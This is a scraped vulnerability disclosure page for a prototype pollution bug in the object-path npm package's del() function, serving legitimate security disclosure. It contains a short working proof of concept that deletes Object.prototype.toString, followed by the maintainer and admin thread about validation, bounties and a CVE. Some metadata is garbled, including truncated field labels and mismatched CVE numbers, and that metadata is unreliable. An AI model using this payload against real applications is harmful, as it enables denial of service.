## Prototype Pollution in mariocasciaro/object-path



## Description

object-path package is vulnerable to Prototype Pollution. The del() function fails to validate which Object properties it deletes. This allows attackers to modify the prototype of Object, causing the modification of default properties like toString on all objects.

### **Proof of Concept**

Create the following PoC file:

```
// Poc.js
const objectPath = require('object-path');
console.log("Before : " + ({}).toString());
objectPath.withInheritedProps.del({}, '__proto__.toString');
console.log("After : " + ({}).toString());
```

Execute the following commands in the terminal:

```
npm i object-path # Install affected module
node poc.js # Run the PoC
```

#### Check the Output:

### **Impact**

Affected versions of this package are vulnerable to Denial of Service (DoS) via the del function.

```
CVE
CVE-2021-380
(Published)
```

### Vulnerability Type

CWE-1321: Prototype Pollution

# Severity

High (7.5)

## Affected Version

Visibilit

### dollo

Status

### Found by



This report was seen 654 times

We created a GitHub Issue asking the maintainers to create a SECURITY.md a year ago

ready-research a year ago Researcher

@admin please see the comment in https://github.com/mariocasciaro/object-path/issues/113

Z-Old a year ago Admin

Hey ready-research, I've emailed the maintainer for you.

We have contacted a member of the mariocasciaro/object-path team and are waiting to hear mariocasciaro a year ago Maintainer @admin there is a duplicate of this report ready-research a year ago @mariocasciaro Can you please validate this report? Use the mark as valid button to confirm this issue and confirm a fix when a fix is merged. Thank Jamie Slome a year ago @mariocasciaro - if you believe reports to be duplicate, feel free to mark them as invalid. mariocasciaro a year ago Maintainer @admin They were both opened on the same day, which one should I mark as invalid? Jamie Slome a year ago This report was opened first, and so it would only be fair to reward this disclosure if the other is I would recommend marking the other report as invalid and providing the reason as duplicate. mariocasciaro a year ago OK, thanks for the help. As a possible improvement to the platform it would be nice to see also the time when the disclosure was opened, not just the date. Jamie Slome a year ago Admin @mariocasciaro - thanks for the request - we can sort this out for you! mariocasciaro validated this vulnerability a year ago ready-research has been awarded the disclosure bounty 🗸 mariocasciaro a year ago Maintainer A fix will be produced today. mariocasciaro marked this as fixed with commit e6bb63 a year ago The fix bounty has been dropped x This vulnerability will not receive a CVE 🗶 mariocasciaro a year ago @admin will this get a CVE assigned automatically? Jamie Slome a year ago Admin Yes, it has already been assigned and will be published shortly! Jamie Slome a year ago CVE published! & CVE-2021-3805

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